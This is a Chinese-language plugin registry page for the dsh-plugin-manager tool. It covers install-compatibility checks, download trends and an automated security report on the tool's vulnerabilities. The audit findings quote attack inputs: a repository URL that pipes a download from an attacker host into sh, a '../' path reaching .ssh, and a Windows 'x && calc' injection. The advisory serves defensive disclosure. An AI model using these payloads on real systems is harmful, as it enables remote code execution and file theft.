安装验证:生态插件:`dsh plugin add` 装得上,但未声明 dsh.bundle、不挂载任何插件能力——L1-L5 插件安装验证阶梯不作评级依据;安全扫描照常执行。安装验证详情 →
数据截至 (UTC)
功能介绍AI
DSH 插件管理器的桌面 GUI 和 CLI,用于管理 dsh 的 profile 与插件,并可一键启动 dsh web。
能力标签为 AI 推断或 README 规则抽取(见角标),词表受限、未经安装验证;AI = 推断,README = 原文关键词。
趋势
四条线各答一个问题:星标总量、这周涨了多少星、累计下载、这周下载多少。GitHub 两条来自真读采样(每日轮转抽样),npm 两条来自每份快照。
7 次采样(约每 7 天一次),其中 3 次是历史重建近似(空心点);采样点连线,非逐日观测
09-17 → 11-06 · 7 个采样点
每根柱 = 相邻两次采样的差值(间隔 5–14 天),负值向下;浅色柱含重建近似
09-24 → 11-06 · 6 个采样点
由当前累计值按逐日下载反向回推(缺采日不插值) · 重建
观测点 0 个(< 3),暂不出图
暂无数据
快照的 last-week 滚动窗口(官方 npm + npmmirror 镜像合计)
观测点 0 个(< 3),暂不出图
暂无数据
安装
dsh plugin --profile web add github:MAXeaglet/dsh-plugin-manager#v0.2.5安装方式: GitHub · 运行验证未定论 (L5 unknown)
验证与兼容性○ 生态插件
按插件版本分组:每张卡是该插件版本实测过的 dsh 版本与安装兼容结论(L5 优先)。只列真测过的组合——未列出 = 未实测,不推定兼容。L1–L3 为插件级静态档(与 dsh 版本无关,各 dsh 行同值):在行内「验证等级」格里与 L4/L5 并列显示、标注「静态」,证据体为插件级单份、随行内「查看检查项与证据」出现,不在各版本重复存储。
External credentials(插件级):未检测到
○ 作者未声明 dsh 版本要求 —— 安装不会因版本被拒。
| 插件版本 \ dsh | dsh 0.2.2-rc.1 当前 | dsh 0.2.1-rc.5 | dsh 0.2.1-rc.3 | dsh 0.2.1-rc.2 | dsh 0.2.1-alpha.4 |
|---|---|---|---|---|---|
| v0.2.5 | ○ | ○ | ○ | ○ | ○ |
v0.2.5github○ 生态插件 172026-11-07
https://github.com/MAXeaglet/dsh-plugin-manager
○dsh 0.2.2-rc.1当前2026-11-07生态插件
- • Node.js: v24.14.0
- • DSH: 0.2.2-rc.1
- • 被测插件工件: github · https://github.com/MAXeaglet/dsh-plugin-manager#v0.2.5
ID: dsh-plugin-manager@v0.2.5@dsh0.2.2-rc.1 · 档位: l4-sandbox
签发:2026-11-07 · 有效至:2026-11-14
查看检查项与证据
未出现在 Web 档 loader 清单中
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
○dsh 0.2.1-rc.52026-10-31生态插件
- • Node.js: v24.14.0
- • DSH: 0.2.1-rc.5
- • 被测插件工件: github · https://github.com/MAXeaglet/dsh-plugin-manager#v0.2.5
ID: dsh-plugin-manager@v0.2.5@dsh0.2.1-rc.5 · 档位: l4-sandbox
签发:2026-10-31 · 有效至:2026-11-07
查看检查项与证据
未出现在 Web 档 loader 清单中
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
○dsh 0.2.1-rc.32026-10-26生态插件
- • Node.js: v24.14.0
- • DSH: 0.2.1-rc.3
- • 被测插件工件: github · https://github.com/MAXeaglet/dsh-plugin-manager#v0.2.5
ID: dsh-plugin-manager@v0.2.5@dsh0.2.1-rc.3 · 档位: l4-sandbox
签发:2026-10-26 · 有效至:2026-11-02
查看检查项与证据
未出现在 Web 档 loader 清单中
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
○dsh 0.2.1-rc.22026-10-19生态插件
- • Node.js: v24.14.0
- • DSH: 0.2.1-rc.2
- • 被测插件工件: github · https://github.com/MAXeaglet/dsh-plugin-manager#v0.2.5
ID: dsh-plugin-manager@v0.2.5@dsh0.2.1-rc.2 · 档位: l4-sandbox
签发:2026-10-19 · 有效至:2026-10-26
查看检查项与证据
未出现在 Web 档 loader 清单中
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
○dsh 0.2.1-alpha.42026-10-16生态插件
- • Node.js: v24.14.0
- • DSH: 0.2.1-alpha.4
- • 被测插件工件: github · https://github.com/MAXeaglet/dsh-plugin-manager#v0.2.5
ID: dsh-plugin-manager@v0.2.5@dsh0.2.1-alpha.4 · 档位: l4-sandbox
签发:2026-10-16 · 有效至:2026-10-23
查看检查项与证据
未出现在 Web 档 loader 清单中
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
○dsh 0.2.1-alpha.22026-10-10生态插件
- • Node.js: v24.14.0
- • DSH: 0.2.1-alpha.2
- • 被测插件工件: github · https://github.com/MAXeaglet/dsh-plugin-manager#v0.2.5
ID: dsh-plugin-manager@v0.2.5@dsh0.2.1-alpha.2 · 档位: l4-sandbox
签发:2026-10-10 · 有效至:2026-10-17
查看检查项与证据
未出现在 Web 档 loader 清单中
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
○dsh 0.2.0-rc.22026-10-08生态插件
- • Node.js: v24.14.0
- • DSH: 0.2.0-rc.2
- • 被测插件工件: github · https://github.com/MAXeaglet/dsh-plugin-manager#v0.2.5
ID: dsh-plugin-manager@v0.2.5@dsh0.2.0-rc.2 · 档位: l4-sandbox
签发:2026-10-08 · 有效至:2026-10-15
查看检查项与证据
未出现在 Web 档 loader 清单中
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
○dsh 0.2.0-rc.12026-09-29生态插件
- • Node.js: v24.14.0
- • DSH: 0.2.0-rc.1
- • 被测插件工件: github · https://github.com/MAXeaglet/dsh-plugin-manager#v0.2.5
ID: dsh-plugin-manager@v0.2.5@dsh0.2.0-rc.1 · 档位: l4-sandbox
签发:2026-09-29 · 有效至:2026-10-06
查看检查项与证据
未出现在 Web 档 loader 清单中
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
○dsh 0.1.7-rc.22026-09-26生态插件
- • Node.js: v24.14.0
- • DSH: 0.1.7-rc.2
- • 被测插件工件: github · https://github.com/MAXeaglet/dsh-plugin-manager#v0.2.5
ID: dsh-plugin-manager@v0.2.5@dsh0.1.7-rc.2 · 档位: l4-sandbox
签发:2026-09-26 · 有效至:2026-10-03
查看检查项与证据
未出现在 Web 档 loader 清单中
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
○dsh 0.1.7-alpha.22026-09-23生态插件
- • Node.js: v24.14.0
- • DSH: 0.1.7-alpha.2
- • 被测插件工件: github · https://github.com/MAXeaglet/dsh-plugin-manager#v0.2.5
ID: dsh-plugin-manager@v0.2.5@dsh0.1.7-alpha.2 · 档位: l4-sandbox
签发:2026-09-23 · 有效至:2026-09-30
查看检查项与证据
未出现在 Web 档 loader 清单中
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
○dsh 0.1.6-alpha.22026-09-20生态插件
- • Node.js: v24.14.0
- • DSH: 0.1.6-alpha.2
- • 被测插件工件: github · https://github.com/MAXeaglet/dsh-plugin-manager#v0.2.5
ID: dsh-plugin-manager@v0.2.5@dsh0.1.6-alpha.2 · 档位: l3-fullscan
签发:2026-09-20 · 有效至:2026-09-27
查看检查项与证据
未出现在 Web 档 loader 清单中
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
○dsh 0.1.6-alpha.12026-09-17生态插件
- • Node.js: v24.14.0
- • DSH: 0.1.6-alpha.1
- • 被测插件工件: github · https://github.com/MAXeaglet/dsh-plugin-manager#v0.2.5
ID: dsh-plugin-manager@v0.2.5@dsh0.1.6-alpha.1 · 档位: l4-sandbox
签发:2026-09-17 · 有效至:2026-09-24
查看检查项与证据
未出现在 Web 档 loader 清单中
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
○dsh 0.1.5-rc.22026-09-11生态插件
- • Node.js: v24.14.0
- • DSH: 0.1.5-rc.2
- • 被测插件工件: github · https://github.com/MAXeaglet/dsh-plugin-manager#v0.2.5
ID: dsh-plugin-manager@v0.2.5@dsh0.1.5-rc.2 · 档位: l4-sandbox
签发:2026-09-11 · 有效至:2026-09-18
查看检查项与证据
未出现在 Web 档 loader 清单中
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
○dsh 0.1.3-alpha.22026-09-09生态插件
- • Node.js: v24.14.0
- • DSH: 0.1.3-alpha.2
- • 被测插件工件: github · https://github.com/MAXeaglet/dsh-plugin-manager#v0.2.5
ID: dsh-plugin-manager@v0.2.5@dsh0.1.3-alpha.2 · 档位: l4-sandbox
签发:2026-09-09 · 有效至:2026-09-16
查看检查项与证据
未出现在 Web 档 loader 清单中
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
○dsh 0.1.3-alpha.12026-09-07生态插件
- • Node.js: v24.14.0
- • DSH: 0.1.3-alpha.1
- • 被测插件工件: github · https://github.com/MAXeaglet/dsh-plugin-manager#v0.2.5
ID: dsh-plugin-manager@v0.2.5@dsh0.1.3-alpha.1 · 档位: l4-sandbox
签发:2026-09-07 · 有效至:2026-09-14
查看检查项与证据
未出现在 Web 档 loader 清单中
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
○dsh 0.1.2-rc.12026-09-05生态插件
- • Node.js: v24.14.0
- • DSH: 0.1.2-rc.1
- • 被测插件工件: github · https://github.com/MAXeaglet/dsh-plugin-manager#v0.2.5
ID: dsh-plugin-manager@v0.2.5@dsh0.1.2-rc.1 · 档位: l3-fullscan
签发:2026-09-05 · 有效至:2026-09-12
查看检查项与证据
生态插件:未声明 dsh.bundle
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
○版本史前2026-10-05生态插件
- • Node.js: v24.14.0
- • DSH: unknown
- • 被测插件工件: github · https://github.com/MAXeaglet/dsh-plugin-manager#v0.2.5
ID: dsh-plugin-manager@v0.2.5@dshunknown · 档位: l4-sandbox
签发:2026-10-05 · 有效至:2026-10-12
查看检查项与证据
未出现在 Web 档 loader 清单中
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
仅展示最近 3 个已发布版本;源码快照(commit hash)组、未标注工件组与更早版本不展示——全量档案保留在数据层(插件无任何已发布版本时,快照/未标注组才照常展示)。
作者徽章
将 dsh.so 徽章嵌入你的 README,展示插件的自动安全扫描与安装检测状态:
`[](https://www.dsh.so/artifact/dsh-plugin-manager/?ref=badge)`dsh.so 是独立社区项目,与 DeepSeek AI 无隶属或背书关系;徽章由 dsh.so 维护,嵌入链接带 ?ref= 归因参数。
安全报告
两层自动化检查,都不是人工审核:静态扫描(逐插件规则判定)与模型驱动的动态安全审计(只覆盖静态判定 warn 及以上的插件子集,不执行插件代码)。
静态扫描 低;动态审计最高 严重(有结论时以动态为准)→ 总评级 严重。
v0.2.5v0.2.5git2026-11-12v0.2.5版本一致clean · npmvet 为 AST 静态扫描(npm 发布物或 git 源码)。
静态发现(9 条)
- 警告childProcess · code-exec
lib/profiles.mjs:214const res = spawnSync(dshBin, ["plugin", "--profile", profileName, "add", packageName], { - 警告childProcess · code-exec
lib/profiles.mjs:222const res = spawnSync("npm", ["search", query, "--json"], { encoding: "utf8", timeout: 30000, shell: process.platform === "win32" }); - 警告childProcess · code-exec
lib/profiles.mjs:239const res = spawnSync(dshBin, ["plugin", "--profile", profileName, "update", packageName], { - 警告fsWrite · files
lib/profiles.mjs:180fs.writeFileSync(profile.patchPath, "# dsh-plugin-manager patch layer\n", "utf8"); - 警告fsWrite · files
lib/profiles.mjs:192fs.writeFileSync(profile.patchPath, doc.toString(), "utf8"); - 警告fsWrite · files
lib/profiles.mjs:207fs.writeFileSync(manifestPath, JSON.stringify(manifest, null, 2) + "\n", "utf8"); - 警告childProcessImport · code-exec
lib/server.mjs:150const opener = await import("node:child_process"); - 警告childProcessImport · code-exec
lib/server.mjs:166const opener = await import("node:child_process"); - 警告netIp · network
lib/server.mjs:249console.log("dsh-plugin-manager: http://127.0.0.1:" + PORT);
展开 6 条审计发现
- critical未鉴权 HTTP API 监听全部网卡,可远程安装插件并执行代码
lib/server.mjs:248listen(PORT, cb) 未指定 host,Node 默认绑定未指定地址(:: / 0.0.0.0),日志却显示 127.0.0.1。服务无鉴权、无 Origin 校验、无 CORS 限制(readBody 对任意 content-type 都做 JSON 解析,跨站 text/plain POST 属简单请求即可到达处理逻辑)。同网段攻击者或用户访问的恶意页面在服务运行期间可 POST /api/install 执行 `dsh plugin add <恶意包>`(npm 生命周期脚本即可执行代码)、POST /api/update-dsh 执行 `npm i -g @deepseek-ai/dsh`、POST /api/profile-files-save 覆写 profile 的 package.json/cordis.patch.yml 注入插件配置,或用 /api/dsh-stop 杀掉端口进程。
- high打开插件仓库时存在系统命令注入(URL 拼接进 shell 命令)
lib/server.mjs:151url 取自已安装包 package.json 的 repository 字段,仅经过 normalizeRepoUrl() 的前缀改写,不会清除 shell 元字符。第三方插件(正是本工具安装的对象)把 repository 设为 `https://x; curl http://evil/s | sh` 之类内容时,/api/open-repo(或 GUI 的“打开仓库”按钮,远程还可直接调用未鉴权接口)会经 child_process.exec 的 /bin/sh 执行任意命令;Windows 下 `start "" "..."` 的引号也可被 URL 中的 `"` 突破。
- medium`name` 参数未净化,可穿越出 profile 的 node_modules(任意 README/package.json 读取)
lib/server.mjs:200name 直接来自请求 body/query,仅交给 path.join,而 join 会规范化 `..`:name = "../../../../home/user/.ssh" 即可穿越出 node_modules。/api/readme 会返回任意目录下名为 README.md 文件的内容(最多 8KB),/api/open-repo 会解析任意 package.json 并把其中攻击者可控的 repository 值送入上一条命令注入点。
- mediumWindows 下 dsh/npm 调用使用 shell:true 且参数未转义
lib/profiles.mjs:215shell:true 时 Node 会拼装 cmd.exe 命令行且不引用转义 argv 元素,因此在 Windows 上向未鉴权的 /api/install 提交形如 `x && calc` 的包名(或向 /api/search 提交 q)会在用户上下文中执行额外命令,破坏了代码其余部分依赖的 argv 数组安全性。
- lowprofileDir("..") 可越出 profiles 目录进入 DSH_HOME
lib/profiles.mjs:18虽然只取最后一段路径,但 ".." 会通过该过滤,profileDir("..") 解析为 $DSH_HOME,而其余调用处都假定为 $DSH_HOME/profiles。通过未鉴权的 /api/profile-files-save(server.mjs:220)或 /api/toggle,package.json / cordis.patch.yml 的写入会落到预期目录之外;Rust 版本对此有显式防护(base.contains("..") → replace)。
- low/api/debug 泄露主机路径;其中 require() 在 ESM 下为死代码
lib/server.mjs:40任何调用方(因无鉴权,包含网络/跨站调用)都能获知用户主目录、cwd 与 DSH_HOME 路径。readdir 分支在该 ESM 模块中永远无法工作,只会返回 "ERR: require is not defined",属于调试遗留的死代码。
本地 Web 服务未鉴权监听全部网卡,暴露插件安装/更新接口,且打开仓库功能存在命令注入,可导致远程代码执行。
口径(2026-10-28):有动态审计结论时以动态结论为准(可能上调也可能下调);没有结论时(未入队 / 审计失败 / 人工撤回)才用静态扫描档(vet 主判 + dsh 兜底)。动态审计永不写豁免表(豁免只能人工三筛手写);模型判错时由人工复核撤回,撤回后档位回到静态扫描档。
免责声明:静态扫描与动态安全审计都是自动化分析,不构成安全保证。安装前请自行审查。
活跃度
最近提交 2026-08-15 · 活跃度:稳定
• 仓库创建: 2026-08-14
• 星标: ★ 2 · 复刻: 0
• 健康度: 稳定 — 近 90 天有提交
来源
作者 README
GitHub 原文 ↗展示作者仓库中的原始 README 内容,实时抓取、未做改写;优先加载中文版(README.zh-CN.md 等),无中文版时回退英文。
常见问题
dsh-plugin-manager 是什么?
dsh-plugin-manager 是收录在 dsh.so 的生态插件:可以用 dsh plugin add 安装,但未声明 dsh.bundle、不挂载任何插件能力,装上也用不了插件功能——请直接使用其源码仓库。
dsh.so 或本页是官方项目吗?
dsh.so 是独立社区注册表,与 DeepSeek AI 没有隶属、背书或赞助关系。
如何安装 dsh-plugin-manager?
在 DeepSeek Harness(dsh)环境中运行 dsh plugin --profile web add github:MAXeaglet/dsh-plugin-manager#v0.2.5。注意这是生态插件:未声明 dsh.bundle、不挂载任何插件能力,装上也用不了插件功能——请直接使用源码仓库。安全扫描照常执行。
这个页面的安全扫描是人工审计吗?
两层都是自动化检查,不是人工审计。静态扫描是对仓库源码的启发式分析,可能误报也可能漏掉上下文。模型驱动的动态安全审计只覆盖静态判定 warn 及以上的插件、不执行插件代码,有结论时以它为准(可能上调也可能下调);豁免始终由人工三筛手写。两者都不代表背书:安装前请自行审查仓库与权限申请,并结合验证等级与健康度判断。
本页数据有多新?
本页数据截至 2026-11-12(UTC):取注册表刷新、安装验证、安全扫描与动态审计时间戳中最新的合法日期,不使用构建时间冒充数据日期。
